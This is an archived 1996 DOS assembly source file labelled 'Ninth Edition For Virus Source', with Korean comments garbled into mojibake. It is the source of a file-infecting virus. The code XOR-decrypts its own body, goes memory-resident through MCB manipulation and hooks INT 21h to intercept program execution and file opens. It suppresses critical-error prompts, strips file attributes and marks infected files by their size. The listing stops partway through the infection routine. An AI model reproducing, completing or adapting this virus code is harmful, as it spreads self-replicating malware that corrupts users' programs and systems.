home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KOREACOL.ZIP / SYSTURBO.ZIP / SYSTUR2.ASM < prev    next >
Assembly Source File  |  1996-07-27  |  38KB  |  1,021 lines

  1. ;╖í ña╖í£ß»aôe ╡ü╕σ╡A ╨a╖í╔I OSCò╖╤í╥A╡A ╡⌐¥a╣vöσ SYSTURBO
  2. ;ña╖í£ß»a╖ü ╕≈»ó ñß╣e╖│ôíöa. ïí╣Ñ╖ü ÑA╚a ñß╣e╡A¼ß╡┴ôe ág╖í
  3. ;öaƒe ïíôw╖i êa╗íëí ╖╢»sôíöa. 
  4. ;╖▒╤w╚é│íêa áeùe ╚ßÑíñé»Ñ╖e ╣A SYSTURBO ña╖í£ß»a╖ü ┤|╡A
  5. ;CALL íw¥w╖i ┴B╟a╨aößèà╢a.. ïa£ü¼ß ╖í₧ü╦Ñòí ┤⌠┤ûëí Öí.
  6. ;┤|ªüªà╖ü ┤q╤í╤┴ ╬üôe ªüªà╖ü ₧ü╦Ñ╖í ò╖╖⌐╨e ┼íùaêa ûI«ü╖╢╖aíe
  7. ;╕ΓëA ╨üæ╓»sôíöa. ëí╕≈╕Γ╖Ñ ┼íùaôe öaƒe ╬ëïaƒ▒╡A¼ßòí ¼a╢wûE
  8. ;╡üƒi ùi┤ß mov ax,cs/mov ds,ax ╖í£σ ┼íùa╖íïí╡A ñé»Ñ ╣A╣í»í
  9. ;╕a├╡ áΘ╝≈╨e ╧a¥íïa£æ╖i ╡í╠e╨i«ü ╖╢ôe ïí╥Aƒi ág╖í ║ü┤÷»sôíöa.
  10. ;╤┴╖⌐╖e 16╖a¥í ÉaÆü┤߼ߠ7╖í Éq╖aíe êq╡q╖i ┤e╨sôíöa. óë¥Ñ
  11. ;êq╡q»í 16╖a¥í ÉaÆü┤߼ߠ7╖í ÉqëA ╨üæ╓ïí╡A öa»í êq╡q╨aôe ╖⌐╖e
  12. ;┤⌠»sôíöa.(ÑA╚añß╣e╖e 5êa Éq╖aíe êq╡q ═íïí..)
  13. ;êq╡q╢A╡Aôe ┤aóü╖⌐òí ╨a╗í ┤g»sôíöa. öe╗í êq╡qáe ╨i¬à╖í║a....
  14. ;╕ßòí ╡ß╖Ñ╗í ííƒa╗íáe öa╟a┤ßÑE╣a»ó╖ü ¼w║ü¥íôe EMS¼w╚ü╡A¼ß 
  15. ;êq╡qûE ╤┴╖⌐╖í └ß╖q »⌐╨ù»í pklite 1.03ñß╣eë┴ exepack 4.0
  16. ;ñß╣e╖a¥í ┤s┬éûE ╤┴╖⌐ë┴ ╕bò╖╖í ╕i ┤eûSôíöa. ïa£ü¼ß └ß╖q »⌐╨ù
  17. ;ûAôe êq╡qûE ╤┴╖⌐╖ü »⌐╨ù╖e ╡ü₧ü¼i¥Q╖ü ╕ü¥íù╖ ïíñ≤╖i ░÷»sôíöa.
  18. ;ëí¥í ¡í»aêa ï⌐┤ß╣v╗íáe ïí╣Ñ öa╟a┤ßÑE╣aÉa ╡ü₧ü¼i¥Q╖í EMS╡A¼ß
  19. ;╕i ╕bò╖╖í ┤eûAöσ ê⌡╖e ëí┴vöaëíÉa ╨iîa╢a..?
  20. ;¼w║ü ╡aªüôe ÑB╚ß╔A╖íºi║ù CP/M└߃í ₧ü╦Ñ╖í ╖╢ôe 8ña╖í╦a ╡w╡b╖í
  21. ;╖╢»sôíöa. ╕ßôe ╖íê⌡║ù ╨eña╖í╦aƒi ╖í╢w ╖í êt╖í 25h╖ííe ¼w║üƒi
  22. ;═íïí╨sôíöa. └qëí¥í DIR-IIòí ╖í ªüªà╖i │aôeòA ╣Aê⌡ë┴ ╢ß├íƒi
  23. ;╦iƒíëA╨ü¼ß ┬ùò⌐╖i áb┤v»sôíöa. ╖í ╧a¥íïa£æ╖ü ╦b╗╖╖e XOR¥í
  24. ;┤q╤í╤┴ ╨aôeê⌡ë┴ ┤|ë┴ ûß╖ü ╧a¥íïa£æ╖ü ï⌐╖íêa êaÑe╖í£aôe ╕±╖│ôíöa.
  25. ;ïa£ü¼ß ïí╣Ñ ╨eèé╤w ñé»Ñùi╖í ╡í╧a¡U╖ü ┤ßÿσ ña╖í£ß»aóà╕a╡i╖i └x┤a
  26. ;├í₧a╨aôe ïa£σ êeöe╨e ₧ü╦Ñ╖a¥íôe í╡├í₧a╨aëA ╨û»sôíöa.
  27. ;óë¥Ñ SYSTURBOña╖í£ß»a╡┴ ò╖╖⌐ ₧ü╦Ñ╖íôí ñé»Ñ╖e êaôw╨sôíöa. 
  28. ;╨a╗íáe.... 
  29. ;»⌐╨ùûEôa ╤┴╖⌐║ù ╖íƒq╡A V,C,WHPôe ╧í╨ü¼ß êq╡q╨sôíöa. ñé»Ñë┴ »a─à
  30. ;ïaƒíëí COMMAND.COM(╢a¼üôe ï⌐╖íêa ñaÄßíe ªü╦╖»í ╡A£ßêa Éa¼ß...)
  31. ;áa╗íáb╖a¥í ┤a£ü┤a ╨eïi╖i ╧í╨aïí ╢ß╨eê⌡╖│ôíöa. 
  32. ;ïí╣Ñ ÑA╚a╔A»a╚ßùi(OSCò╖╤í╥A ╥A╢Ñùi)╖í ┤a£ü┤a ╨eïië┴ VPIC╡A¼ß ╡A£ß
  33. ;êa Éeöaëí ╨a»Ñªàùi╖í ág╖eòA ╖í╕±╖i öa ═í╢w╨ûëí..Öí └ß╖q »⌐╨ù»í
  34. ;PACKED FILE IS CORRUPTED£aôe ╖íƒq╖í Éa╡íëí öa»í »⌐╨ù╨aíe ╕i ╕bò╖
  35. ;ûA┤÷öσ ╡A£ßòí ┤⌠┤û»sôíöa.
  36. ;╤e╕üôe ëA╖▒ ╢ß╕aùa£aôe ╧a¥íïa£æ »⌐╨ù╥ü êq╡qûE ╤┴╖⌐╖i »⌐╨ù╨aíe ╡A£ß
  37. ;êa Éa╗íáe ╣Aê⌡¬à╖í ┤aôí£a PKLITE/EXEPACK/DIET ╖í£σ ííùe ╤┴╖⌐╖í 
  38. ;╡A£ßƒi Éüôeê⌡ Ñíôí ╣Aê⌡áe╖í ┤aôí£a ëA╖▒ ╢ß╕aùa╖í ╡A£ß╖Ñê⌡ ê{»sôíöa.
  39. ;╣Aêa ái╨e EMS╡A¼ß╖ü ╡A£ßòí ╤e╕ü ╡a£ßªàùi╖í ág╖í êa╗íëí ëü»Ñ ╡UÉi
  40. ;PCTOOLS4.22ñß╣eáe╖í ïa£≤ôíöa. ╖íê⌡╖í EXEPACK4.0╖a¥í ┤s┬é╖í ûA┤ß 
  41. ;╖╢ôeòA ╖í ╡┴╖⌐ûß╡A óü┤⌡╖í ª¢ïíáe ╨aíe ëA╖▒ ╢ß╕aùa¼a╢w╥ü ╡A£ßêa 
  42. ;ñi¼ù╨sôíöa. ïa╢A╡Aôe ╡┼╕σ╙í ╡A£ßêa ┤⌠öaëí ╕wöq╖e í╡╨a╗íáe ╣A ─±╡A¼ß
  43. ;ôe ┤a╗ó ╡A£ßƒi └x╗í í╡╨û»sôíöa.
  44. ;╣Aê⌡╡A¼σ ╡A£ßêa ┤⌠ôeòA ╡ß ╡A£ßêa ╖╢öaôeêσ╗í...
  45. ;¼a╢w╤┼ëw╖i ╕i ¡U╦╖╨aíe ╕i ╕bò╖╨sôíöa. ïaƒíëí ûI«ü╖╢╖aíe EMSíAííƒíôe
  46. ;╡⌐ƒíëí │a╗í áa¡A╢a. ïí╚a ╤┴╖⌐ùië┴ ┬ùò⌐╖í ╖╢╖i«ü ╖╢»sôíöa.
  47. ;╕≈ái╖í╡ü╢a..
  48. ;ïa╢A╖ü ╦b╖í╨e ╕±╖e ┤⌠»sôíöa. ╖⌐ñe ña╖í£ß»a╡┴ öaƒiê⌡╖í ┤⌠»sôíöa.
  49. ;öa╖qñσ╡Aôe »a╔I»a ïíñ≤╖i òí╖│╨a╡a òí»a »í╕w╖í ╢σòí╢ü╡A ╡┼╕σ╙í ú⌐ƒíïí
  50. ;╕σ╡A ╥Bïí╕Γ╖Ñ ┤a╖í╔Q╖i êa╗íëí ╕ü ┬ë╤e╨iê⌡╖i öa╗▒╨sôíöa.
  51. ;╖í ña╖í£ß»a╡A èùïq╨e╕±╖í ╖╢öaíe ëA»í╠e╡A ╗⌐óà╖í£aëí ╡⌐ƒí»íëí ╗⌐óà
  52. ;Éü╢w╖i ░ß║ü¡A╢a. ╣Aêa í⌐£ü ùi┤ß╡┴ ╖¬ëí íA╖⌐╖i ÑíÉü ùaƒíëV»sôíöa.
  53. ;óë¥Ñ ïa íA╖⌐╖i ÑíÉà ┤a╖íùíôe ╣A ┤a╖íùíêa ┤aô⌐╔Aôí ïaë╡╖a¥í íA╖⌐╖e
  54. ;ÑíÉü╗í áa»íëí╢a.  
  55. ;ïa£± ╡eèü╨üÑí¡A╢a ╨eïi¥í ║ü¼Γ╖i öi┤v╖aôíîa╢a.
  56. ;╚ßÑí┤ß¡Q╖a¥í ─±╠a╖⌐ ╨û»sôíöa. 
  57.  
  58.  
  59. ;***********************************************************
  60. ;
  61. ;              Ninth Edition For Virus Source
  62. ;              (ña╖í£ß»a ¡í»a ┤a╤│ñσ╝ü áaöw)
  63. ;            This can be processed in EMS memory
  64. ;           ( ╖í ñß╣e╖e EMS╡A¼ßòí ╕i ╕bò╖╖í ûSôíöa)
  65. ;           But! Can't Infect When File Is Opend
  66. ;            (╨a╗íáe ╡í╧e»í╡Aôe êq╡q╖i ┤e╨sôíöa)
  67. ;
  68. ;***********************************************************
  69.  
  70.  
  71.  
  72. BYTESIZE        EQU     (finish - start)             ;╗Ñ╝a ña╖í£ß»a┼íùa 
  73.                                                      ;ï⌐╖í 
  74.  
  75. HEADSIZE        EQU     (virus_body - start)         ;┤|╡A ┤q╤í╬üôeªüªà╖ü
  76.                                                      ;┼íùaï⌐╖í
  77.                                                             
  78. PARASIZE        EQU     ((BYTESIZE+0Fh)/10h)         ;╕σ┴A╟aïí╖ü ╠ü£ßïa£ü╧a«ü
  79.                                                      ;(¼w║ü»í ºi£Γ╟aïí ëi╕≈╢w
  80.                                                      ;╖a¥í │a╖▒)
  81.                                                            
  82. BODYSIZE        EQU     (finish  - virus_body)       ;┤q╤í╤┴╨aôe ªüªà╖ü ╟aïí
  83.  
  84. GAJASIZE        EQU     16                           ;╗Ñ╝a ña╖í£ß»a ┤|╡A ª¢ôe
  85.                                                      ;16 BYTES ╟aïí╖ü │a¥Aïí
  86.                                                      ;┼íùa êò«ü
  87.  
  88. ;***********************************************************
  89. ;
  90. ;           INFECTED FILE'S ROUTINE ( = BATE )
  91. ;
  92. ;***********************************************************
  93.  
  94. code            segment                               ;ña╖í£ß»a╡A êq╡qûE
  95.                 assume cs:code,ds:code                ;«é║ü ₧ü╦Ñ
  96.                                                       ;┤aóü╖⌐òí ┤e╨aëí
  97.                 mov ah,4ch                            ;òí»a¥í Éaêq
  98.                 int 21h
  99.  
  100. code            ends
  101.  
  102.  
  103. ;*********************************************************** 
  104. ;
  105. ;                ORIGINAL VIRUS ROUTINE                ;╡aïí¼ß ªü╚ß ╗Ñ╝a
  106. ;                                                      ;ña╖í£ß»a ₧ü╦Ñ
  107. ;***********************************************************
  108.  
  109.  
  110. main            segment
  111.                 assume  cs:main,ds:main
  112.                 jumps                        ;╚ßÑí┤ß¡Qáe╖ü ╕±╧a┼íùa ╨eëüƒi                               
  113.                                              ;¼wë┼┤e╨aëí ─±╠a╖⌐╨i«ü ╖╢ôe   
  114. start:                                       ;╡ü┤ó┤ß   
  115.                 push    cs
  116.                 pop     ds
  117.                                                   
  118. si_value:       mov     si,offset virus_body ;└ß╖q ╧a¥íïa£æ╖ü »í╕b offset╖i  
  119.                                              ;╖│¥b ñhôeöa (êq╡q»í ┤i┤a¼ß ëü¼e)
  120.                 mov     cx,BODYSIZE          ;┤q╤íƒi ╬ë í▒┴A ╟aïí╖ü 1/2
  121.                 mov     bx,es
  122.  
  123. di_value:       mov     di,offset virus_body    ;╢ß╡┴ ò╖╖⌐, ╡aïí¼ß SIôe  
  124.                                                 ;¼wöüñσ╗í ñw»ó╖i ╢ß╨ü │a╖Ñöa
  125.                 push    cs                      ;(COM ë┴ EXE╖ü »í╕b offset╖í
  126.                 pop     es                      ;╦i¥a╗íôe ╖í╖A¥í..)
  127.                 cld
  128.  
  129.                 lodsb                     ;xor¥í öe«à ┤q╤í╤┴
  130. key_value:      xor     al,00h            ;┤q╤í╖ü ╟íêt╖e êq╡q»í ┤i┤a¼ß
  131.                 stosb                     ;╖íë╡╡A │a╖Ñöa
  132.  
  133.                 loop    move_loop
  134.  
  135. virus_body:
  136.                 mov     si,0000h          ;└ß╖q ╧a¥íïa£æ╖ü »í╕b offset ╖│¥b
  137.                                           ;êq╡q»í ╕aò╖ ╖│¥b
  138. check_mem:
  139.  
  140.                 mov     PSP_SEG[si],bx    ;╧a¥íïa£æ PSP ¡Aïaáσ╦a ╕ß╕w 
  141.  
  142.                 mov     bx,ds
  143.  
  144.                 xor     ax,ax
  145.                 mov     ds,ax
  146.                 mov     ah,byte ptr ds:[0c0h]          ;ña╖í£ß»a ¼w║ü
  147.                 cmp     ah,25h                         ;╡aªü ëi╕≈
  148.                 jz      exe_routine
  149.  
  150. make_tsr:
  151.                 mov     ds,bx
  152.  
  153.                 mov     ax,PSP_SEG[si]
  154.                 dec     ax
  155.                 mov     es,ax
  156.                                                 ;MCB ╡A¼ß ╨iöwûE ╠ü£ßïa£ü╧a
  157.                 mov     ax,es:[03h]             ;«üƒi ╖¬┤߼ߠ╕ß╕w╨eöa.
  158.                 mov     ORG_PARA[si],ax         ;(¼w║ü╥ü ╠ü£ßïa£ü╧a Ñóèß)
  159.  
  160.                 mov     es,PSP_SEG[si]
  161.  
  162.                 mov     bx,0ffffh               ;┬Aöü¥í ╖A╢w╨e íAííƒí╖ü
  163.                 mov     ah,4ah                  ;╟aïíƒi ┤Φôeöa
  164.                 int     21h                     ;ªëêaôw╨e ╟aïíƒi ║ü┤ß 
  165.                 jnc     exe_routine             ;ƒí╚σûE êt╖a¥í ëi╕≈
  166.  
  167.  
  168.                 mov     ah,4ah                  ;ña╖í£ß»a ╟aïíáe╟q ╟aïíƒi
  169.                 sub     bx,(PARASIZE+3)*2       ;║ë╖íëí ╕ü ╨iöw
  170.                 jc      exe_routine
  171.                 int     21h
  172.  
  173.                 mov     ah,48h                  ;ña╖í£ß»a ÑÑ┴Aƒi ╢ß╨e
  174.                 mov     bx,PARASIZE             ;╨iöw
  175.                 int     21h
  176.                 mov     VIRUS_SEG[si],ax
  177.  
  178.                 mov     ah,48h                  ;¼w║ü»í ╤┴╖⌐│aïí ╕b┤≤╖i
  179.                 mov     bx,PARASIZE+3           ;╢ß╨e òA╖í╚ß ╡w╡b ╨iöw
  180.                 int     21h
  181.                 mov     SPACE_SEG[si],ax
  182.  
  183.                 mov     ax,VIRUS_SEG[si]        ;êw╣A¥í MCBƒi ëí┴a »í»a╔Q
  184.                 dec     ax                      ;╤┴╖⌐╖ÑÉ╖ ¡ó╖Ñöa
  185.                 mov     es,ax
  186.                 mov     word ptr es:[01h],08h   ;MCB offset 1 ╖í 08╖ííe 
  187.                                                 ;»í»a╔Q ╡w╡b╖í£a ╡í╠e╨aëí
  188.                                                 ;òí»aêa íAííƒí ┤e╥A«ü
  189.                                                 
  190.                 mov     ax,SPACE_SEG[si]        ;╢ß╡┴ ò╖╖⌐
  191.                 dec     ax                      
  192.                 mov     es,ax
  193.                 mov     word ptr es:[01h],08h   
  194.  
  195.                 mov     es,VIRUS_SEG[si]
  196.  
  197.                 push    si
  198.  
  199.                 xor     di,di                   ;ña╖í£ß»aƒi ╨iöw╨e ╡w╡b╖a¥í
  200.                 mov     cx,BYTESIZE             ;╖íò╖»í╟Ñöa
  201.                 cld                             
  202.                 rep     movsb
  203.  
  204.                 pop     si
  205.  
  206.                 mov     es,PSP_SEG[si]
  207.  
  208.                 mov     bx,ORG_PARA[si]         ;╢Ñ£ü╖ü ╠ü£ßïa£ü╧a«ü¥í ╨iöw
  209.                 mov     ah,4ah                  ;╨ü║ü┤ß ╢Ñ╨ü¼w╚ü╡┴ ê{╖e íAííƒí
  210.                 int     21h                     ;╤┼ëw╖a¥í áeùeöa
  211.  
  212. chng_21:
  213.  
  214.                 mov     ax,VIRUS_SEG[si]       ;╖Ñ╚ߣ≤╦a 21hñσ 
  215.                 mov     es,ax                  ;êa¥í└üïí ₧ü╦Ñ
  216.  
  217.                 xor     ax,ax
  218.                 mov     ds,ax
  219.  
  220.                 mov     ax,word ptr ds:[084h]
  221.                 mov     es:INT21_OFF,ax
  222.                 mov     ax,word ptr ds:[086h]
  223.                 mov     es:INT21_SEG,ax
  224.  
  225.                 cli
  226.                 mov     word ptr ds:[84h],offset int_21h
  227.                 mov     word ptr ds:[86h],es
  228.                 sti
  229.  
  230. carve_marker:
  231.  
  232.                 mov     ah,25h                 ;ña╖í£ß»a ¼w║ü ╡aªüƒi 
  233.                 mov     byte ptr ds:[0c0h],ah  ;╢ß╨e CP/MÑB╚߃i áa─ß 
  234.                                                ;òA╖í╚ߥí ╖í╢w
  235.  
  236. jmp_execute:                                   ;¼w║ü»í╟íëíÉa¼ßôe 
  237.                                                ;╖í₧ü╦Ñ╖i ╖í╢w ╤┴╖⌐╖i
  238.                 mov     ax,es                  ;╕ü ¥íù╖, »⌐╨ù»í╟Ñöa
  239.                 push    ax
  240.  
  241.                 mov     ax,offset sub_execute
  242.                 push    ax
  243.  
  244.                 retf                           ;¼w║üûA┤ß ╖╢ôe ªüªà╖a¥í ╕±╧a
  245.                                                ;ëièé ú╗╖ü ₧ü╦Ñ╖a¥í ╕±╧a╨eöa
  246. sub_execute:
  247.  
  248.                 cli
  249.                 mov     ax,cs                  ;»a╚é ╕ü╣í╕≈
  250.                 mov     ds,ax
  251.                 mov     ss,ax
  252.                 mov     sp,offset STACK_SPACE + 62
  253.                 sti
  254.  
  255.                 mov     es,PSP_SEG              
  256.  
  257.                 mov     word ptr ENV_BLOCK[00h],00   ;╤┴╖⌐ »⌐╨ù╖i ╢ß╨e 
  258.                 mov     word ptr ENV_BLOCK[02h],80h  ;╤┼ëw ºi£Γ╖ü ╕ü ¼Θ╕≈
  259.                 mov     word ptr ENV_BLOCK[04h],es
  260.                 mov     word ptr ENV_BLOCK[06h],5ch
  261.                 mov     word ptr ENV_BLOCK[08h],00
  262.                 mov     word ptr ENV_BLOCK[0ah],6ch
  263.                 mov     word ptr ENV_BLOCK[0ch],es
  264.  
  265.                 mov     ah,4ah                        ;íAííƒíƒi PSPÉqïíëí
  266.                 mov     bx,10h                        ;öa ╨ü╣A
  267.                 int     21h
  268.  
  269.                 mov     es,es:[2ch]                   ;╤┼ëw ºi£Γ╡A¼ß
  270.                 xor     di,di                         ;╤┴╖⌐╖ü ╖íƒq╖i ┤Φôeöa
  271.                 mov     cx,7fffh
  272.                 xor     al,al
  273.                 cld
  274.  
  275. search_loop:    repnz   scasb
  276.  
  277.                 cmp     es:[di],al
  278.  
  279.                 loopnz  search_loop
  280.  
  281.                 mov     dx,di               ;╖Ñ╚ߣ≤╦a 4bhƒi ╖í╢w╨ü¼ß       
  282.                 add     dx,3                ;╤e╕ü╖ü ╤┴╖⌐╖i ╕ü »⌐╨ù╨eöa
  283.                 mov     ax,4b00h
  284.                 push    es
  285.                 pop     ds
  286.                 push    cs
  287.                 pop     es
  288.                 mov     bx,offset ENV_BLOCK
  289.                 pushf
  290.                 call    dword ptr cs:INT21_OFF
  291.  
  292.                 mov     es,cs:PSP_SEG        ;Éq┤a╖╢öσ PSP╨ü╣A
  293.                 mov     ah,49h
  294.                 int     21h
  295.  
  296.                 mov     ah,4dh               ;╨a╢ß └߃í₧ü╦Ñ╖ü └߃í┼íùaƒi
  297.                 int     21h                  ;┤Φôeöa
  298.  
  299.                 mov     ah,4ch               ;╧a¥íïa£æ ╣╖₧a
  300.                 int     21h
  301.  
  302.  
  303. exe_routine:                                   ;¼w║üûA┤ß ╖╢╖i»í ╖íë╡╖a¥í
  304.                                                ;╕±╧a ╨eöa
  305.  
  306.                 cmp     cs:FILE_TYPE[si],0     ;╤┴╖⌐ ╚a╖│╖í 0╖ííe  COM╤┴╖⌐
  307.                 jz      com_routine            ;1╖ííe EXE╤┴╖⌐
  308.  
  309.                 mov     ax,cs:PSP_SEG[si]  ;╡íƒí╗íÉi ╤┴╖⌐ ₧ü╦Ñ╖a¥í ╕±╧a╨aïí
  310.                 mov     es,ax              ;╢ß╨ü ¡Aïaáσ╦aùi╖i ëü¼e╨ü║àöa
  311.                 mov     ds,ax
  312.                 add     ax,0010h
  313.                 add     cs:EXE_CS[si],ax
  314.                 add     cs:EXE_SS[si],ax
  315.  
  316.  
  317.                 cli
  318.                 mov     ss,cs:EXE_SS[si]        
  319.                 mov     sp,cs:EXE_SP[si]        
  320.                 sti
  321.  
  322.                 xor     ax,ax             ;ìó »⌐╨ù»í ax,bxôe 0 ╖í┤ß┤í ╨eöa
  323.                 xor     bx,bx             ;┤eïa£ßíe diskcopy.com ê{╖í ûß╡A
  324.                                           ;╖Ñ╕aƒi │aôe ╧a¥íïa£æ╖í ╕i ╕bò╖
  325.                                           ;┤e╨eöa
  326.                                                 
  327.                 jmp     dword ptr cs:EXE_IP[si] ;╢Ñ£ü ┼íùa¥í ╕±╧a
  328.  
  329. com_routine:
  330.  
  331.                 mov     ax,cs
  332.                 mov     ds,ax
  333.                 mov     es,ax
  334.                 mov     COM_CS[si],ax
  335.  
  336.                 mov     bx,si
  337.  
  338.                 mov     ax,offset EXE_HEADER     ;╤┴╖⌐╖ü ┤| ╤Aö߃i ╢Ñ£üöü¥í
  339.                 add     si,ax                    ;ëí├Ñöa(íAííƒí¼w╡A¼ßáe ëí├íïí
  340.                 mov     di,100h                  ;ÿüóà╡A ╤┴╖⌐╨aëíáe ¼wë┼┤⌠╖q)
  341.                 cld
  342.                 movsb
  343.                 movsw
  344.  
  345.                 mov     si,bx   
  346.  
  347.                 xor     ax,ax
  348.                 xor     bx,bx
  349.  
  350.                 jmp     dword ptr COM_IP[si]      ;╢Ñ£ü COM╤┴╖⌐╖ü ₧ü╦Ñ╖a¥í 
  351.                                                   ;╕±╧a  
  352.                                             
  353. int_24h:                                          ;╡A£ß└߃í ╖Ñ╚A£≤╦aƒi    
  354.                 xor     al,al                     ;êa¥í└àöa
  355.                 iret                              ;êq╡q»í ¼a╢w
  356.  
  357. int_21h:
  358.                                                   ;¼ü¥í╖e 21hñσ ₧ü╦Ñ
  359.                 pushf
  360.  
  361.                 cmp     ax,4b00h                  ;»⌐╨ù╖Ñêa?
  362.                 jz      gariginal
  363.  
  364.                 cmp     ah,3dh
  365.                 jz      gariginal
  366.  
  367. original:                                         ;╢Ñ£ü╖ü ╖Ñ╚ߣ≤╦a¥í ╕±╧a
  368.                 popf
  369.                 jmp     dword ptr cs:INT21_OFF
  370.  
  371.  
  372. gariginal:
  373.                                                  ;ds:dx=file name
  374.                 push    ax                       ;ííùe ¥A╗í»a╚ß öü╧í
  375.                 push    bx
  376.                 push    cx
  377.                 push    dx
  378.                 push    ds
  379.                 push    es
  380.                 push    si
  381.                 push    di                       ;╤┴╖⌐╖íƒq╖i ╕ß╕w╨eöa
  382.  
  383.  
  384.                 mov     word ptr cs:FILE_NAME[00h],dx
  385.                 mov     word ptr cs:FILE_NAME[02h],ds
  386.  
  387. get_drive:
  388.                 cld                              ;ùa£a╖íºa íw╖i ┤Φôaöa
  389.                 mov     di,dx
  390.                 xor     dl,dl
  391.                 cmp     byte ptr [di+01],3ah
  392.                 jnz     chk_capacity
  393.                 mov     dl,[di]
  394.                 and     dl,1fh
  395. chk_capacity:
  396.                 mov     ah,36h                   ;ña╖í£ß»aêa │a╡a╗⌐ ╟aïí
  397.                 int     21h                      ;áe╟q╖ü ╡a╖A ë╖êe╖í ╖╢Éa?
  398.                 cmp     ax,0ffffh                ;╤┬╖Ñ     
  399.                 jz      return_back2
  400.                 mul     bx
  401.                 mul     cx
  402.                 or      dx,dx
  403.                 jnz     capacity_ok              ;┬A¡í ña╖í£ß»aÑíöa 2ñü╖í¼w╖ü
  404.                 cmp     ax,BYTESIZE*2            ;╡a╖A╡w╡b╖í ╖╢┤ß┤í êq╡q
  405.                 jb      return_back2
  406.  
  407. capacity_ok:
  408.  
  409.  
  410.                 mov     dx,word ptr cs:FILE_NAME[00h] 
  411.                 mov     ax,word ptr cs:FILE_NAME[02h]
  412.                 mov     ds,ax
  413.  
  414.                 mov     si,ds                      
  415.  
  416.                 xor     ax,ax
  417.                 mov     ds,ax
  418.                 les     ax,dword ptr ds:[90h]      ;╖Ñ╚ߣ≤╦a 24hñσ ñaÄæ
  419.  
  420.                 mov     word ptr cs:INT24_OFF,ax
  421.                 mov     word ptr cs:INT24_SEG,es
  422.  
  423.                 cli
  424.                 mov     word ptr ds:[90h],offset int_24h
  425.                 mov     word ptr ds:[92h],cs
  426.                 sti
  427.  
  428.                 mov     ds,si                  ;ds:dx=file name
  429.  
  430.                 xor     cx,cx
  431.                 mov     ax,4300h               ;╤┴╖⌐ ¡ó¼≈╖i ┤Φôeöa
  432.                 pushf
  433.                 call    dword ptr cs:INT21_OFF ;cx╡A ╤┴╖⌐ ¡ó¼≈ ƒí╚σ
  434.  
  435.                 mov     bx,cx
  436.                 and     cl,0feh
  437.                 cmp     cl,bl
  438.                 je      infect_start
  439.  
  440.                 mov     ax,4301h               ;¡ó¼≈╖í │aïí┤eûAôeêßíe
  441.                 pushf                          ;¡ó¼≈╖i Ñe╤┼
  442.                 call    dword ptr cs:INT21_OFF
  443.                 jc      return_back1
  444.  
  445. infect_start:
  446.  
  447.                 push    ds
  448.                 push    dx
  449.                 push    bx
  450.  
  451.                 mov     ax,3d02h               ;╤┴╖⌐ ╡í╧e
  452.                 pushf
  453.                 call    dword ptr cs:INT21_OFF
  454.                 jc      open_error
  455.  
  456.                 mov     bx,ax                  ;ax ╡A ╨àùi╖í ƒí╚σ
  457.                 mov     cs:FILE_HANDLE,ax
  458.  
  459.                 call    read_handle            ;ÑÑëb ña╖⌐£ß»a └߃í₧ü╦Ñ╖a¥í!
  460.  
  461.                 mov     bx,cs:FILE_HANDLE
  462.                 mov     ah,3eh                 ;bx ╡A ╨àùiêt╖i ╕ß╕w
  463.                 pushf
  464.                 call    dword ptr cs:INT21_OFF
  465.                                                ;╤┴╖⌐ ╟i¥í╗a
  466.  
  467. open_error:
  468.  
  469.                 pop     cx                     ;╣▒╕σ╡A bx╡A ╨àùi╖i ╬ü«ß╨ûïí╡A
  470.                 pop     dx                     ;╖íñσ╡Aôe cx¥í ñh╖q
  471.                 pop     ds                     ;ëí¥í cxêa ╨àùiêt╖i êxëí ╖╢öa 
  472.  
  473.                 mov     ax,4301h               
  474.                 pushf
  475.                 call    dword ptr cs:INT21_OFF
  476.                                                ;╢Ñ£ü ╤┴╖⌐╖ü ¡ó¼≈╖a¥í
  477.                                                ;ûAò⌐¥a ║àöa
  478.  
  479. return_back1:
  480.  
  481.                 xor     ax,ax
  482.                 mov     ds,ax
  483.  
  484.                 cli
  485.                 mov     ax,cs:INT24_OFF
  486.                 mov     word ptr ds:[90h],ax  ; 24hñσ ╖Ñ╚ߣ≤╦aƒi 
  487.                 mov     ax,cs:INT24_SEG       ;ò⌐¥a║àöa
  488.                 mov     word ptr ds:[92h],ax  
  489.                 sti
  490.  
  491. return_back2:
  492.  
  493.                 pop     di                     ;¥A╗í»a╚ß Ñóèß
  494.                 pop     si
  495.                 pop     es
  496.                 pop     ds
  497.                 pop     dx
  498.                 pop     cx
  499.                 pop     bx
  500.                 pop     ax
  501.  
  502.                 popf                           ;ùaùí┤ß ╢Ñ£ü ╖Ñ╚ߣ≤╦a¥í..
  503.                 jmp     dword ptr cs:INT21_OFF
  504.  
  505.  
  506. ;***********************************************************
  507. ;
  508. ;                HANDLE READ ROUTINE
  509. ;
  510. ;        (ÑÑëb╕Γ╖Ñ ña╖í£ß»a êq╡q ₧ü╦Ñ╖e ╖í ┤e╡A)
  511. ;
  512. ;
  513. ;***********************************************************
  514.  
  515. read_handle     proc    near
  516.  
  517.                 mov     ax,4200h
  518.                 xor     cx,cx
  519.                 xor     dx,dx
  520.                 pushf
  521.                 call    dword ptr cs:INT21_OFF
  522.                 jc      int_error1
  523.  
  524.                 mov     ax,cs                   ;EXE_HEADER£aôe òA╖í╚ß
  525.                 mov     ds,ax                   ;ñß╠ß╡A ╤┴╖⌐ ¼σûü╡A¼ß 3cháe╟q
  526.                 mov     es,ax                   ;╖¬┤ß╡Ñöa
  527.                 mov     dx,offset EXE_HEADER    ;COM/EXEèüÑi┤e╨eöa
  528.                 mov     cx,40h
  529.                 mov     ah,3fh
  530.                 pushf
  531.                 call    dword ptr cs:INT21_OFF
  532.  
  533.                 jc      int_error1
  534.  
  535.                 xor     cx,cx                   ;╤┴╖⌐╖ü »⌐╗í ï⌐╖íƒi 
  536.                 xor     dx,dx                   ;┤Φ┤ß ╕ß╕w╨eöa
  537.                 mov     ax,4202h                
  538.                 pushf
  539.                 call    dword ptr cs:INT21_OFF
  540.  
  541.                 mov     word ptr FILE_SIZE[00],ax
  542.                 mov     word ptr FILE_SIZE[02],dx
  543.  
  544.                 cmp     ax,BYTESIZE              ;ña╖í£ß»aÑíöa ╕b╖e ╤┴╖⌐╖e
  545.                 ja      check_infect             ;êq╡q╖i ═íïí╨aëí 
  546.                 cmp     dx,0                     ;RETURN ╨eöa
  547.                 je      int_error1
  548.  
  549. check_infect:
  550.                                                  ;╤┴╖⌐ ï⌐╖íêa 16╖a¥í ÉaÆü┤ß
  551.                 and     ax,000fh                 ;7 Éq╖aíe êq╡q╖i ┤e╨eöa
  552.                 cmp     ax,0007                  
  553.                 jz      int_error1
  554.  
  555.  
  556. check_exe:
  557.  
